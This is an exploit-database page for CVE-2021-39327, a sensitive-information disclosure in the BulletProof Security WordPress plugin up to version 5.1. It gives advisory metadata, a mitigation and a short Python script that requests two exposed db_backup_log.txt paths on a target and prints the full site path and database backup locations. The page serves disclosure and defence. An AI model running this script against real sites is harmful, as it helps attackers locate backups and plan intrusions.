Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure

vendor:

BulletProof Security WordPress Plugin

by:

Ron Jost (Hacker5preme)

7.5

CVSS

HIGH

Sensitive Information Disclosure

200

CWE

Product Name: BulletProof Security WordPress Plugin

Affected Version From: <= 5.1

Affected Version To:

Patch Exists: NO

Related CWE: CVE-2021-39327

CPE: a:bulletproof_security_project:bulletproof_security:5.1

Metasploit:

Other Scripts:

Tags: exposure,packetstorm,cve,cve2021,wordpress

CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Nuclei References: https://packetstormsecurity.com/files/164420/wpbulletproofsecurity51-disclose.txt, https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39327, https://nvd.nist.gov/vuln/detail/CVE-2021-39327, http://packetstormsecurity.com/files/164420/WordPress-BulletProof-Security-5.1-Information-Disclosure.html, https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2591118bulletproof-security&new=2591118bulletproof-security&sfp_email=&sfph_mail=

Nuclei Metadata: {'max-request': 2, 'framework': 'wordpress', 'vendor': 'ait-pro', 'product': 'bulletproof_security'}

Platforms Tested: Ubuntu 18.04

2021

WordPress Plugin BulletProof Security 5.1 – Sensitive Information Disclosure

The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible ~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. This affects versions up to, and including, 5.1.

Mitigation:

Upgrade to the latest version of the BulletProof Security WordPress plugin.

Source

Exploit-DB raw data:

# Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure
# Date 04.10.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://forum.ait-pro.com/read-me-first/
# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip
# Version: <= 5.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-39327
# CWE: CWE-200
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md


'''
Description:
The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible 
~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. 
This affects versions up to, and including, 5.1.
'''

'''
'Banner:
'''
banner = '''
  ______     _______     ____   ___ ____  _      _____ ___ _________ _____ 
 / ___\ \   / / ____|   |___ \ / _ \___ \/ |    |___ // _ \___ /___ \___  |
| |    \ \ / /|  _| _____ __) | | | |__) | |_____ |_ \ (_) ||_ \ __) | / / 
| |___  \ V / | |__|_____/ __/| |_| / __/| |_____|__) \__, |__) / __/ / /  
 \____|  \_/  |_____|   |_____|\___/_____|_|    |____/  /_/____/_____/_/   
                                                                           
                                * Sensitive information disclosure
                                @ Author: Ron Jost
'''
print(banner)


import argparse 
import requests

'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin BulletProof Security - Sensitive information disclosure')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
print('')
print('[*] Starting Exploit:')
print('')

paths = ["/wp-content/bps-backup/logs/db_backup_log.txt",  "/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt"]

# Exploit
for pathadd in paths:
    x = requests.get("http://" + target_ip + ':' + target_port + '/' + wp_path + pathadd)
    print(x.text)